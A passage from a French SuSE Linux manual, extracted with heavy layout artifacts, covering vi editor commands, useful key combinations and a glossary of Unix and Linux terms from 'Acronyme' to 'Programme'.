commande : _______________________________________________________________________________________________________* *_________ i passe en mode insertion (les caractères sont insérés avant le curseur courant). a passe en mode insertion (les caractères sont insérés après le curseur courant). A passe en mode insertion (les caractères sont insérés à la fin de la ligne) R passe en mode insertion (l'ancien texte est remplacé). r passe en mode insertion pour remplacer un seul caractère. s passe en mode insertion (le caractère sur lequel le curseur est posi- tionné est remplacé par l'entrée). C passe en mode insertion (le reste de la ligne est remplacé par le nouveau texte. o passe en mode insertion (une nouvelle ligne est insérée après la ligne courante. O passe en mode insertion (une nouvelle ligne est insérée avant la ligne courante. x efface le caractère courant. dd efface la ligne courante. dw efface jusqu'à la fin du mot courant. cw passe en mode insertion (le reste du mot courant est remplacé par l'entrée). u annule la dernière entrée. _______________________________________________________________________________________________________* *_________ Tab. 19.12: Continuer à la page suivante... 506 _______________________________________________________________________________________________________19.15.__L'éditeur_vi_* *______________________ ______________________________________________________________________________________________________________________ J concatène la ligne suivante à la ligne courante. . répète la dernière commande. : passe en mode commande complexe. ______________________________________________________________________________________________________________________ Tab. 19.12: Commandes simples de l'éditeur vi Toutes les commandes peuvent être précédées d'un chiffre qui indique le nombre d'objets auquels la commande doit se rapporter. L'entrée de `3dw' provoque l'effacement de trois mots à la fois. Par l'entrée de `10x', on pro- voque l'effacement de dix caractères à partir de l'endroit où est positionné le curseur et avec `20dd' on efface vingt lignes. Principales commandes du mode commande complexe : ______________________________________________________________________________________________________________________ :q ! quitte vi , sans sauvegarder les modifications :w sauvegarde sous :x sauvegarde le fichier modifié et quitte l'éditeur :e édite (charge) :u annule la dernière commande d'édition ______________________________________________________________________________________________________________________ Tab. 19.13: Commandes complexes de l'éditeur vi En appuyant sur la touche |E________|chap, on passe du mode insertion au mode co- mande. * * 507 19. Débuts sous Linux_____________________________________________________________________________________________________________* *_______________________________________@ 508 Annexe A Combinaisons de touches importantes Quelques unes des combinaisons de touches utiles et importantes. _______________________________________________________________________________________________________________________ |||||__ _- ___|___ En ligne de commande, exécution d'une com- mande. Autrement, retour à la ligne. Alt||||||__+ |F___|_1-|F___|_6 Passage à une autre console (en mode texte). |||||____ ____ ___ ___ Ctr____|____l+ |A____l|t+ |F___|1-|F___|6Sous X11 et Dosemu : Passage à l'une des consoles virtuelles. Alt||||||__+ |F___|_7 Retour à X11. |||||____ ____ Ctr____|____l+_____|A____l|t_ + Quitter X11. Bac|||||_______|____kspace |||||_______ _________ Maj_______|____.+ *|_________|Page Ä ffichage des pages d'écran précédentes. Fonctionne jusqu'au moment où l'on change de console. Maj|||||__|_____.+ *|_________|_Page I#nverse de |M__________|aj.+ *|_________|_Page. " |||||_ " ||__ Affiche la commande précédente dans la ligne de commande actuelle # ||||||__ Sous le shell, produit l'effet inverse de |"__|. |||||_______ ____ Maj_______|____.+_* |A____l|t + Sous X11 : Passage, dans l'écran virtuel, à la Cur|||||__|____sor plus proche fenêtre située dans le sens de la flèche. Le nombre de fenêtres disponibles est déterminé dans .fvwm[2]rc par le paramètre DeskTopSize . Ctr||||||____l+ |A_____|lt + Change la résolution de l'écran selon l'ordre |||||_________ (g_________|____ris) des entrées faites pour le mode écran dans /etc/XF86Config. Ctr||||||____l+ |D__| Déconnexion. Correspond à la commande exit . Entrée dans /etc/profile : ignoreeof=x . x indique le nombre de répétitions nécessaires pour que la commande devienne active. _______________________________________________________________________________________________________________________ Tab. A.1: * * 509 A. Combinaisons de_touches_importantes____________________________________________________________________________________________* *_______________________________________@ 510 Annexe B Glossaire Dans ce glossaire, nous nous sommes limités à définir les expressions ou abréviations spécifiques à UNIX ou à Linux car le nombre de pages ne nous permet pas une introduction approfondie au traitement électronique des don- nées. Le lecteur du présent glossaire devrait donc déjà être familiarisé avec des termes tels que bit et octet. Acronyme Les abréviations qui se prononcent comme un seul mot sont désignées sous le nom d'acronymes. + Linux, + GNU et + RAM sont des acronymes bien connus. Administrateur système (angl. system administrator, root user) C'est la personne qui, dans un système complexe ou un réseau, se charge des configurations et de la maintenance. L'administrateur système (`root') est le seul a avoir accès à toutes les ressources d'un système (il possède les droits root). Adresse IP Adresse Internet 32 bits, habituellement en notation décimale, sous forme de quatre nombres séparés par des points (par exemple 192.168.10.1) ex- pressément assignée à une machine connectée au réseau. Si une machine possède plusieurs connexions réseau (passerelle, (angl. gateway)), elle a aussi plusieurs adresses IP. Alias Le plus fréquemment, on emploie le terme alias en relation avec le + shell (interpréteur de commandes). Avec un alias, on peut abréger des com- mandes longues ou très souvent utilisées. Voyez à ce sujet le paragraphe concernant la manipulation de l'interpréteur de commandes. Amorçage L'amorçage (appelé aussi boot) désigne le processus de chargement d'un système, à partir de l'allumage de la machine jusqu'au moment où le sys- tème est à la disposition de l'utilisateur. Sous Linux, on entend par ce terme le lancement du noyau et le ``démarrage'' des services du système qui s'annoncent par le message `uncompressing linux...' et se ter- minent par l'invite `login :'. ATAPI ATAPI est une interface conçue pour piloter et contrôler les périphériques * * 511 B. Glossaire _________________________________________________________________________________________________________________* *_______________________________________@ connectés à un contrôleur (E)IDE. Les lecteurs de CD-ROM ATAPI (+ Lecteur de CD-ROM) sont particulièrement répandus. Mais il existe aussi maintenant des lecteurs Zip, des lecteurs de bandes (angl. streamers) et des lecteurs de disquettes qui fonctionnent à l'aide de cette interface. Tous ces périphériques sont supportés par Linux. Backup Backup est le mot anglais pour les copies de sauvegarde. On devrait faire régulièrement des copies de sauvegarde, particulièrement pour les don- nées importantes. Certaines configurations de programmes (très souvent réalisées avec beaucoup de peine) méritent également d'être sauvegar- dées. Sous Linux, la technique fondamentale de sauvegarde des données sur un + périphérique est l'exécution de la commande tar . Très souvent, tar est utilisé conjointement à gzip . BIOS (angl. Basic Input Output System) Chaque PC possède une petite zone de mémoire dans laquelle est enre- gistré ce que l'on appelle le BIOS. Le BIOS contient des programmes d'initialisation et de test pour le démarrage du système ainsi que quelques pilotes (relativement simples) pour les périphériques essentiels : clavier, carte vidéo, lecteurs, interfaces, horloge. Sous Linux, le BIOS n'est pas actif car il fonctionne en ``mode réel'' (+ CPU) et il est désactivé lors de l'amorçage du noyau. Mais le noyau sous Linux met à disposition des routines nettement plus performantes que le BIOS. Boot (angl. boot strap = tirant de botte) + Amorçage Buffer + Tampon Caractères jokers (angl. wildcards) + Wildcards Chemin d'accès (angl. path) Par le chemin d'accès, la position d'un + fichier dans un + système de fi- chiers est définie sans aucune ambiguïté. Sous Unix, les différents niveaux de répertoires sont séparés par une barre oblique `/' appelée slash. On distingue deux types de chemins : ~ chemin relatif : la position d'un fichier ou d'un répertoire est définie par rapport au répertoire courant. ~ chemin absolu : la position est définie ici par rapport au + répertoire racine. Commutateur (angl. switch) Les commutateurs permettent à l'utilisateur d'agir sur le comportement par défaut des programmes. La + ligne de commande est constituée par le nom du programme éventuellement suivi par les commutateurs. Compte (angl. account) C'est l'ensemble constitué par le nom d'utilisateur (angl. login name) et le 512 ________________________________________________________________________________________________________________B.__Glossaire_* *____________________ mot de passe (angl. password). Le compte est en général créé par l'+ ad- ministrateur système. Il détermine également à quel groupe le nouvel uti- lisateur doit appartenir et quels droits lui sont attribués. La mise en place d'un compte implique la plupart du temps la création d'un + répertoire personnel et l'assignation d'une adresse + E-Mail (courrier électronique) à l'utilisateur. Console (angl. console, terminal) Autrefois, la console était assimilée au terminal. Sous Linux il existe ce que l'on appelle les ``consoles virtuelles''. Elles permettent d'utiliser un seul écran pour plusieurs sessions indépendantes mais simultanées (voir paragraphe 19.4 page 485). Le + niveau d'exécution standard (runlevel 2) prévoit 6 consoles virtuelles auxquelles_ vous_ pouvez accéder_ en vous_ servant respectivement des touches |A____l|t+ |F___|1jusqu' à |A____l|t+ |F___|6. À partir du système X Window, qui utilise_ la console_ 7, _vous_ pouvez ______ accéder_aux consoles_texte au moyen de |C______|trl+ |A____l|t+ |F___|1jusqu'à |C______|trl + |A____l|t+ |F___|6. Courrier électronique + E-Mail CPU (angl. Central Processing Unit) Unité centrale de traitement, appelée aussi processeur. Les processeurs Intel de la famille x86 peuvent fonctionner en différents modes. Nous allons ici en distinguer deux : ~ le mode réel : C'est le mode d'exécution natif. Il est lent et désuet pour les applications (``logiciels 16 bits''). Il n'existe, en mode réel, ni zones ni commandes protégées. C'est dans ce mode que la machine démarre lorsqu'elle est allumée ou réinitialisée + Réinitialisation. En outre, la taille des segments est limitée ici à 64Ko. ~ le mode protégé : (utilisable à partir de 286). Mode d'exécution dans lequel on distingue différents niveaux de privilèges. Ce n'est que dans l'état dit ``Ring0'' du processeur que ``tout est permis'' (ici c'est le royaume du noyau Linux), avec ``Ring3'' par contre (niveau de privilège le plus bas), ce sont les applications (même celles du super-utilisateur) qui travaillent. En outre, depuis la famille de pro- cesseurs 386, on peut utiliser des segments qui recouvrent la totalité de la zone d'adressage et rendent possibles des modèles de mémoires linéaires (flatmodel). C'est dans ce mode d'exécution que le CPU at- teint le maximum de sa performance. Linux n'utilise le processeur que dans le ``mode protégé'' du 386 (ou supérieur). Linux est actuellement disponible pour les architectures basées sur les processeurs : Intel, x86, DECalpha, Motorola m68k, Sparc, PowerPC, MIPS, ARM. Curseur Le curseur est en général un petit élément graphique en forme de bloc qui marque l'emplacement où se fait la saisie. Sous Linux, ce terme apparaît dans les contextes suivants : ~ Interpréteur de commandes/Éditeur : Un petit rectangle ou un trait (clignotant) marque l'emplacement où seront inscrits les caractères au * * 513 B. Glossaire _________________________________________________________________________________________________________________* *_______________________________________@ moyen du clavier. Sous l'interpréteur de commandes, le curseur est situé sur le côté droit à côté de l'+ invite. ~ Curseur de souris sous X : C'est le pointeur de la souris sous X. Il change de forme selon le fond sur lequel il se trouve. Il a par exemple la forme d'une flèche dans un xterm, la forme d'un ``X'' sur un fond d'écran et la forme d'un ``I'' dans une fenêtre d'+ éditeur. ~ Curseur GPM (console) : C'est un bloc de la taille d'un caractère qui, au moyen du programme GPM sur la + Console, peut être positionné par déplacement de la souris et permet d'effectuer des opérations de couper/coller (+ sélection). Daemon + démon Démon Un démon (angl. daemon = Disk and execution monitor) est un pro- gramme qui veille en arrière-plan et entre en action en cas de besoin. Ces démons répondent par exemple aux requêtes FTP ou HTTP et contrôlent aussi les activités dans les emplacements d'enfichage des cartes PCM- CIA. Densité des i-noeuds La ``densité des i-noeuds'' résulte de l'évaluation de la taille moyenne de fichiers que l'on peut s'attendre à trouver sur une partition déterminée. Les valeurs par défaut prévues par YaST permettent généralement de réa- liser un travail efficace et peuvent donc être conservées. Ce terme dé- route très souvent les nouveaux venus sous Linux car la densité est haute lorsque la valeur pour la densité des i-noeuds est minime : dans ce cas un plus grand nombre d'i-noeuds est mis à disposition. Device Voir périphérique E-Mail (angl. electronic mail) Méthode de transmission de messages entre utilisateurs d'un système d'ordinateurs intégrés dans un réseau. Tout comme pour le courrier postal sur papier (très souvent appelé (angl. snail mail) pour sa lenteur d'escar- got), le destinataire doit être spécifié : vous devez indiquer son adresse électronique ou adresse E-mail. Le courrier électronique (E-mail) permet de transmettre non seulement des textes mais aussi des documents so- nores et des images. L'avantage du courrier électronique réside dans le fait qu'il est peu onéreux et que la plupart des messages peuvent parvenir au destinataire quelques minutes après l'expédition. Éditeur Les éditeurs sont des programmes permettant de modifier des fichiers en introduisant par exemple des données textuelles. GNU Emacs (emacs ) ou l'éditeur UNIX vi (voir paragraphe 19.15 page 506) sont des éditeurs polyvalents bien connus sous Linux. Si vous ne connaissez jusqu'à pré- sent aucun de ces deux éditeurs, essayez joe ~ l'éditeur joe est compatible WordStar : : : 514 ________________________________________________________________________________________________________________B.__Glossair* *e_____________________ ELF (angl. Executable and Linking Format) ELF est aussi pour Linux le format binaire standard. Avec ce format, il est plus facilement possible qu'avec l'ancien format a.out de créer par exemple des ``bibliothèques partagées'' . Pour plus de détails, voir le HowTo /usr/doc/howto/en/ELF-HOWTO.gz. Encryptage (angl. encryption) L'encryptage de données permet de cacher à des tierces personnes le contenu d'un fichier. Ceci est toujours opportun pour le transfert de don- nées à travers des connexions offrant peu de sécurité (par exemple Inter- net) si l'on souhaite éviter que des tiers non autorisés puissent prendre connaissance des données transmises (par exemple numéros de cartes de crédit, mots de passe, informations confidentielles, etc.). La longueur de la clé d'encodage a une importance primordiale pour la sécurité du chif- frement (une clé d'une longueur insuffisante peut être ``cassée'' par des programmes appropriés). Il existe dans quelques pays des restrictions légales à l'encryptage des données. De ce fait, l'utilisation de certains programmes tels que SSH , PGP ou les accès Web au moyen de SSL sont soit interdits dans ces pays, soit soumis à des limites s'appliquant à la longueur de la clé1 . Bien que SuSE offre les programmes mentionnés ci-dessus dans sa distri- bution (dans la mesure où ceci n'est pas contraire à la législation du pays concerné), il vous incombe de vérifier vous-même si vous êtes autorisé à les utiliser dans votre pays. SuSE n'assume aucune responsabilité. Entrée/sortie standard (angl. standard input / output) Chaque processeur possède 3 canaux sur lesquels il peut lire ou écrire des données. Il s'agit du canal d'entrée standard (stdin), du canal de sortie standard (stdout) et du canal d'erreur standard (stderr). Ces canaux sont dirigés par défaut vers certains périphériques, l'entrée standard vers le clavier, la sortie standard et le canal d'erreur standard vers l'écran. À l'aide de l'interpréteur de commandes (shell), il est possible de rediriger ces canaux. On parle par exemple d'une redirection de l'entrée standard si les caractères proviennent d'un fichier et non pas du clavier. Lorsqu'on utilise un interpréteur de commandes, la redirection est symbolisée par les caractères `<' (canal d'entrée), `>' (canal de sortie) `2>' (canal d'erreur). Voir aussi + Pipe. Environnnement (angl. environment) Un + interpréteur de commandes procure en règle générale un environ- nement dans lequel l'utilisateur peut temporairement effectuer certaines opérations. Ces opérations concernent par exemple les noms de chemin d'accès aux programmes, le nom de l'utilisateur, le chemin courant, l'in- vite, etc. Ces données sont insérées dans une + variable d'environnement. Ces variables d'environnement peuvent être assignées, par exemple, par les fichiers de configuration de l'interpréteur de commandes. 1 ____________________________________________________ N.d.l.T : En France la longueur de clé ne doit pas dépasser 128 bits. Pour plus d'informations, visitez le site du SCSSI : http://www.scssi.gouv.fr/present/chiffre/legal.html * * 515 B. Glossaire _________________________________________________________________________________________________________________* *_______________________________________@ Ethernet Matériel réseau très répandu pour + LAN avec structure de type bus, auto- risant à l'origine des transferts à 10 Mbps par câblage coaxial (10 base 2 ou 10 base 5). Il est toutefois courant aujourd'hui de voir aussi des réseaux basés sur le câblage à paires torsadées (angl. twisted pair) permettant jus- qu'à 100 Mbps (100 base T) avec une topologie en forme d'étoile. EXT2 (angl. second extended Filesystem) C'est le système de fichiers standard utilisé par Linux. Il se distingue par de hautes performances, des noms de fichiers longs, des droits d'accès ainsi que par les tolérances aux erreurs. FAI (angl. ISP) Acronyme pour ``Fournisseur d'Accès Internet''. Entreprise de communi- cation qui procure l'accès à Internet par exemple au moyen d'un modem. Fenêtre (angl. window) Les fenêtres sont des portions d'écran rectangulaires généralement entou- rées par un cadre. Ces cadres contiennent le plus souvent des éléments décoratifs permettant par exemple de modifier la taille et la position de la fenêtre sur l'écran. Pour pouvoir travailler avec des fenêtres sous Linux, il est nécessaire de disposer d'un + serveur X et d'un + gestionnaire de fenêtres. Fichier (angl. file) Sous Linux, le fichier constitue le concept central du traitement des don- nées. Tout comme sous d'autres systèmes, les fichiers servent en premier lieu à stocker les données dans les mémoires de masse. Un nom de fichier doit être unique dans le répertoire qui abrite ce fichier. Le + système de fichiers permet un classement hiérarchique des fichiers. Recherchez aussi dans le présent glossaire d'autres informations sur les noms de fichiers. Il existe en outre sous Linux d'autres fichiers spéciaux. Voir à ce sujet + lien, + périphérique et + Proc. Focus (angl. focus) On dit qu'un élément de contrôle, comme par exemple la ligne de com- mande d'un + terminal, possède le focus lorsque les données entrées à l'aide du clavier sont transmises à cet élément. La plupart du temps, le focus est lié à la position du + curseur. La manière dont un gestionnaire de fenêtres gère le focus est appelée gestion de focus (angl. focus policy). On distingue ici le focus qui suit toujours le curseur de souris et le focus qui n'est transmis à un élément de contrôle que s'il est activé par un clic sur le bouton de la souris. FTP (angl. file transfer protocol) FTP est la méthode utilisée sous UNIX pour transférer des fichiers d'une machine à une autre. Ce transfert concerne le serveur FTP (la machine qui fournit les données) et le client FTP (la machine qui reçoit les données). Gestionnaire de fenêtres (angl. window manager) Le gestionnaire de fenêtres est utilisé sous le + système X Window pour la 516 ________________________________________________________________________________________________________________B.__Glossaire_* *____________________ manipulation des + fenêtres, ouverture, fermeture, déplacement, représen- tation sous forme d'icônes etc. Très souvent les gestionnaires de fenêtres offrent des fonctions supplémentaires telles que par exemple des barres d'outils (angl. toolbars) qui hébergent des icônes permettant le lancement de certaines applications. GNU GNU est l'acronyme de GNU is Not Unix qui est un projet de la Free Software Foundation (FSF) . L'objectif du ``projet GNU'', auquel le nom de Richard Stallman (RMS ) est étroitement lié, est la création d'un système d'exploitation ``libre'' compatible Unix, le mot ``free'' étant em- ployé ici beaucoup moins dans le sens de ``gratuit'' que de ``libre'' pour ce qui concerne le droit d'accès aux programmes ainsi que le droit de les utiliser et de les modifier. Pour que la liberté du texte source, c'est- à-dire du code des programmes, soit respectée, toute modification doit également être ``libre''. La liberté d'un logiciel ne doit donc pas être restreinte par la modification ou l'ajout d'un code de programme. Il est expliqué dans le manifeste GNU classique comment cela peut être garanti (http://www.gnu.org/gnu/manifesto.html). Les logiciels GNU sont juridiquement protégés par la ``GPL'' (http://www.gnu.org/ copyleft/gpl.html, voir annexe G page 549 et pages suivantes) ou par la LGPL (http://www.gnu.org/copyleft/lgpl.html). Dans le cadre du ``projet GNU'', tous les programmes auxiliaires Unix font l'objet d'un nouveau développement et sont en partie dotés d'une fonctionnalité plus complète ou améliorée. Mais certains systèmes logi- ciels complexes (par exemple Emacs ou la glibc ) sont aussi au centre du ``projet''. Le noyau + Linux, soumis aux termes de la GPL, profite de ce développe- ment (en particulier des outils) mais il ne doit pas être confondu avec le projet lui-même. I-noeud Les i-noeuds servent au système de fichiers + EXT2 à gérer les infor- mations concernant les fichiers stockés sur le disque dur. Les i-noeuds contiennent en outre d'autres informations telles que l'identifiant du pro- priétaire du fichier, les droits accordés, les dates de modification etc. Interface Généralement, l'interface désigne le périphérique par lequel les différents systèmes échangent des informations. Une telle interface peut être par exemple le clavier qui est en quelque sorte le lieu de rencontre de l'homme et de la machine. Cette notion est toutefois très abstraite et l'on peut distinguer de façon beaucoup plus concrète les interfaces suivantes : ~ Interface matérielle (angl. hardware) : elle permet de connecter des périphériques à la machine. Les exemples sont le port parallèle, SCSI et le port série. ~ Interface logicielle (angl. software) : détermine de quelle manière les programmes doivent communiquer entre eux. Voir aussi + protocole. ~ Interface utilisateur : C'est ici que l'homme et la machine échangent des données. Les exemples sont la souris, le moniteur et le clavier. * * 517 B. Glossaire _________________________________________________________________________________________________________________* *_______________________________________@ Interface graphique (angl. graphical user interface, GUI) L'interface graphique est la représentation du bureau de l'utilisateur (angl. graphical / electronic desktop). L'écran qui doit absolument permettre des affichages graphiques est considéré comme la surface du bureau (angl. desktop) sur laquelle on peut poser des + fenêtres. C'est dans ces fenêtres que sont exécutés les différents processus. Les éléments de contrôle d'une interface graphique sont habituellement manipulés à l'aide de la souris, d'un trackball ou autres dispositifs similaires. Les interfaces graphiques bien connues sont le + système X Window, le système 7 de Apple MacIn- tosh Digital Research GEM , MS-Windows . Internet L'Internet est un + réseau mondial hétérogène - c'est-à-dire constitué de machines différentes -. L'accès aux machines se fait au moyen de leur + adresse IP (IP = Internet Protocol) qui est unique dans le monde. Les adresses IP sont divisées en adresses nationales, adresses de domaines et sous-domaines et adresse de la machine. Outre l'adresse IP numérique (par exemple 192.168.0.1), il existe aussi ce que l'on nomme les alias (par exemple soleil.cosmos.univers) qui permettent à l'utilisateur de retenir les adresses beaucoup plus facilement. L'Internet fonctionne non seulement au niveau matériel mais aussi, à l'aide de toute une série de + protocoles tels que ftp, http, tcp et autres, sur différents niveaux lo- giques. Des services bien connus offerts par l'Internet sont le + courrier électronique ou le World Wide WEB (WWW ou W3 appelé encore toile d'araignée mondiale). Un mot-clé essentiel lié à l'Internet est ``Netiquet- te'' qui est un ensemble de règles de savoir vivre nécessaires à une coexis- tence bien organisée et peut être comprise comme un ``code d'honneur qui s'impose de lui-même''. Interpréteur de commandes (angl. shell) L'interpréteur de commandes représente une interface fondamentale au + système d'exploitation (noyau). Il permet de lancer des commandes à par- tir d'une ligne de commande. Pour pouvoir automatiser certaines tâches, les interpréteurs de commandes disposent le plus souvent d'un propre langage de programmation. Les programmes ainsi réalisés (appelés shell- scripts) peuvent être considérés comme des fichiers batch (fichiers de trai- tement par lots) intelligents. Exemples d'interpréteurs de commandes : bash , sh et tcsh . Invite (angl. prompt) Sous un + shell, interpréteur de commandes en mode texte, l'emplace- ment où les commandes peuvent être transmises au + système d'exploi- tation est marqué par l'invite. Le message d'invite peut contenir par exemple le nom de la machine et de l'utilisateur, l'heure actuelle et d'autres informations de ce genre. En faisant réapparaître l'invite, le sys- tème d'exploitation (ou l'interpréteur de commandes) vous signale que le système est prêt à recevoir de nouvelles commandes. ISDN (angl. Integrated Services Digital Network) En français RNIS. Réseau numérique permettant de transporter la voix, 518 ________________________________________________________________________________________________________________B.__Glossaire_* *____________________ les données ou autre chose, tout en offrant les services associés. Exemple : Numéris. ISP (angl. Internet Service Provider) + FAI LAN (angl. local area network) + réseau local Lecteur de CD-ROM (angl. CD-ROM Drive) Il existe plusieurs types de lecteurs de CD-ROM. Les plus répandus sont les lecteurs + ATAPI qui sont connectés à un contrôleur de disque dur (E)IDE. En dehors de ces lecteurs, il existe encore ~ les lecteurs de CD-ROM SCSI qui sont utilisés par l'intermédiaire d'un adaptateur hôte SCSI, ~ les lecteurs de CD-ROM qui peuvent être rattachés au port parallèle et ~ des lecteurs de CD-ROM spécifiques aux différents constructeurs aux- quels on peut accéder par des cartes contrôleur ou des cartes son spé- ciales. Ce n'est que pour les lecteurs mentionnés en dernier que l'on doit sélec- tionner des pilotes spéciaux. Ligne de commande Le travail sous UNIX peut être ``orienté ligne de commande''. Cela signifie que tout programme lancé dans un + interpréteur de commandes peut avoir une ligne de commande. La commande ls peut recevoir diverses options permettant de régler son comportement. Lien Un lien (angl. link) est une entrée dans un répertoire pointant sur un autre fichier. Cette entrée ne contient pas elle-même de données. On distingue : ~ les liens symboliques qui contiennent des références à des noms. Il n'est pas essentiel que le fichier référencé existe, ni qu'il s'agisse d'un fichier ou d'un répertoire ou qu'il se trouve hors des limites du système de fichiers. ~ les liens physiques qui contiennent des références à des i-noeuds. Un lien physique ne peut faire de références qu'à l'intérieur d'un système de fichiers et il ne doit pas se rapporter à un répertoire. En outre, tous les liens physiques sont équivalents à un i-noeud (ce qui signifie que les données contenues dans le fichiers continuent à subsister tant que le dernier lien n'a pas été supprimé). Linux Système d'exploitation hautement performant similaire à UNIX, libre- ment distribué aux termes de la GPL (+ GNU). Son nom (``Linus' uniX'') est un + acronyme dérivé du nom de son créateur Linus Torvalds. Linux initial Lors de l'installation, on lance d'abord le Linux initial. Il n'a pas besoin du disque dur qui, à ce stade, n'est pas encore accessible. Son noyau * * 519 B. Glossaire _________________________________________________________________________________________________________________* *_______________________________________@ provient de la disquette d'amorçage ou du CD-ROM, l'image de root est chargée sur un disque RAM (également à partir du CD-ROM ou de la disquette root). Les autres programmes (par exemple YaST ) proviennent directement du disque RAM. Après le premier login, on lance YaST et on prépare l'installation du véritable Linux. Manpage + Page de man MBR (angl. master boot record) Secteur maître d'amorçage. C'est le premier secteur physique (cylindre 0, tête 0, secteur 1) de l'un des disques durs dans le système (premier disque avec le numéro de périphérique BIOS 0x80). Chaque disque dur possède un MBR mais les + BIOS ne peuvent pas tous démarrer le système d'ex- ploitation concerné à partir de chaque disque dur. Lors de l'amorçage depuis un disque dur, le BIOS charge le contenu du MBR en mémoire à une adresse déterminée et il lui passe le contrôle. Ce code charge soit le système d'exploitation à partir d'une partition de disque dur amorçable, soit un chargeur (angl. bootloader) complexe tel que par exemple LILO . Mémoire La mémoire est en quelque sorte le cerveau de votre machine. On parle très souvent de mémoire de travail ou mémoire centrale (angl. main me- mory). Sous Linux on distingue couramment deux types de mémoire : ~ la mémoire physique : contenue dans votre machine sous forme de puces mémoire. Sa taille pour stations de travail est typiquement ac- tuellement de 64 Mo à 256 Mo. On peut accéder très rapidement aux fichiers stockés en + RAM. ~ la mémoire virtuelle : par le concept de mémoire virtuelle, le système peut considérer aussi certains espaces spéciaux du disque dur ou de la disquette comme mémoire de travail supplémentaire (+ mémoire d'échange). Mémoire d'échange C'est la zone de mémoire de masse nécessaire lorsque l'on utilise la mé- moire virtuelle. Elle sert au transfert temporaire de pages de mémoire vive (+ RAM). Sous Linux, cela peut être une partition spéciale ou un fichier. Grosso modo, la mémoire vive physique RAM et la mémoire ren- due disponible par le swap constituent ensemble la quantité maximale de mémoire virtuelle disponible. Mémoire de masse (angl. mass storage) C'est un terme global pour désigner un grand nombre de supports de stockage de données souvent très différents les uns des autres. Les supports typiques sont les disquettes, les disques durs, les bandes magnétiques, les CD-ROM, les disques magnéto-optiques, les supports holographiques et quelques autres. Mémoire de travail (angl. memory) + Mémoire. 520 ________________________________________________________________________________________________________________B.__Glossaire_* *____________________ Menu Lorsqu'on utilise une + interface graphique, on peut accéder à plusieurs fonctions d'un programme en passant par un menu. Les menus (tout comme la carte au restaurant) présentent un choix de commandes et op- tions que l'utilisateur peut sélectionner et faire exécuter. Le plus souvent, un programme possède une barre de menu (angl. menu bar) avec des sous-menus. Il existe par ailleurs des menus pop-up (menus surgissants ou flottants) qui jaillissent sur le fond d'écran et sont appelés par un clic de la souris. MIME ``Multipurpose Internet Mail Extensions'' ~ conçue au départ pour fournir des extensions E-mail (par exemple son ou images), cette technologie peut être aussi utilisée au delà de ces limites. Montage C'est ainsi que l'on désigne le ``rattachement'' de systèmes de fichiers dans l'arborescence du système. Comme + point de montage, on se sert en règle générale d'un répertoire vide. Voir aussi à ce sujet le para- graphe 19.11.2 page 500. Multitâche Les systèmes d'exploitation pouvant exécuter simultanément plus d'un + programme sont appelés systèmes multitâches (angl. task = tâche). On distingue deux formes de multitâches : ~ le multitâche concurrent : Le système d'exploitation est responsable de la répartition du temps CPU entre les différents processus. Une variante particulière est le multitâche ``préemptif'' ~ le multitâche coopératif : Les processus restituent eux-même leur temps CPU pour permettre de le répartir. Comme nous pouvons le voir, la première variante constitue la meilleure solution car elle ne permet à aucun processus de s'accaparer la totalité du temps CPU. Linux est un système multitâche préemptif. Multiutilisateur (angl. multiuser) Le + multitâche est indispensable pour permettre à plusieurs utilisateurs de travailler simultanément sur la même machine. Un système d'exploi- tation qui offre cette possibilité est appelé un système multiutilisateur. Multiprocessing Si la machine sur laquelle tourne un système d'exploitation fonctionne avec plus d'un + processeur, on parle d'un système multiprocesseur (angl. multiprocessing). Sous Linux, vous rencontrerez souvent le terme SMP qui signifie symetric multi processing et constitue une forme spéciale du mode multiprocesseur. NFS (angl. network file system) Protocole pour l'accès aux systèmes de fichiers de machines connectées à un réseau. Du côté du serveur, il est spécifié dans le fichier de confi- guration /etc/exports quelle machine est autorisée à accéder à quelle * * 521 B. Glossaire _________________________________________________________________________________________________________________* *_______________________________________@ arborescence des répertoires du serveur. Le client peut alors ``rattacher'' ces répertoires à son arborescence (voir + montage). Niveau d'exécution (angl. runlevel) C'est le terme employé habituellement sous Unix pour définir le niveau jusqu'auquel le système doit monter après l'amorçage ou jusqu'auquel il doit descendre (si l'on souhaite effectuer un changement). C'est le pro- gramme init qui prend en charge les changements de niveaux. Dans son fichier de configuration /etc/inittab, chaque niveau (angl. level) est associé à certains services. Le niveau le plus bas, par exemple runlevel 1 ne met à disposition que le mode mono-utilisateur, le Runlevel 2 permet le mode multiutilisateur et ainsi de suite. Noyau Le noyau est le ``coeur'' de l'ensemble du système. C'est dans le noyau que se rejoignent tous les fils : la gestion de la mémoire, la table des pro- cessus, les fonctions multitâches et multiutilisateurs, les accès aux sys- tèmes de fichiers, les pilotes permettant d'accéder au matériel etc. Ces fonctionnalités peuvent être, en partie, réalisées sous forme de ``modu- les'', voir chapitre 13 page 359. Page de man Pour les systèmes Unix, la documentation se trouve traditionnellement dans les ``pages de man'' que l'on peut visualiser avec la commande man . Pour l'utilisation des pages de man, voir paragraphe 19.9 page 494. PC (angl. personal computer) Contrairement au macro-ordinateur, c'est un petit ordinateur ``personnel''. Depuis les années 80, on entend en général par ce terme le petit ordinateur IBM basé sur Intel x86/88, bien que le tout premier de ce type ait été un Apple . Périphérique Sous Linux, on accède aux périphériques (angl. devices) au moyen d'en- trées spéciales dans le système de fichiers, sous /dev/. Ces entrées contiennent les numéros de périphériques qui permettent au + noyau d'at- teindre les pilotes de périphériques. Pipe Le pipe (appelé quelquefois tube ou tuyau) est la connexion directe entre le canal de sortie standard d'un processus (+ programme) et le canal d'entrée standard (+ entrée/sortie standard) de son successeur. Ceci évite de stocker dans un fichier temporaire les données devant être traitées par le second processus. Sous l'+ interpréteur de commandes, les processus concernés par un pipe sont écrits dans l'ordre dans lequel il doivent être exécutés et sont séparés les uns des autres par une barre verticale appelée pipe `|' (ASCII 124). Point de montage On désigne par point de montage le répertoire par lequel une partition ou un autre périphérique est rattaché à l'arborescence des répertoires Linux. 522 ________________________________________________________________________________________________________________B.__Glossaire_* *____________________ Proc Le système de fichiers /proc, contrairement à un système de fichiers sur support de données, ne contient pas de données statiques. Il crée celles-ci de façon dynamique à partir des informations du noyau. Il est principa- lement utilisé pour fournir aux programmes du système (par exemple ps , mount ) les données actuelles contenues dans le noyau ou pour permettre des modifications de paramètres pendant le temps d'exécution. Processeur + CPU Processus (angl. process) Un processus est en quelque sorte la variante ``vivante'' d'un programme ou d'un fichier exécutable (+ interpréteur de commandes). Ce terme est souvent employé comme synonyme de tâche. Programme Désigne une suite d'instructions cohérentes et logiques données à un or- dinateur qui les comprend. Elles peuvent se présenter sous forme d'un code directement exécutable par la machine ou sous forme de données d'entrée pour un 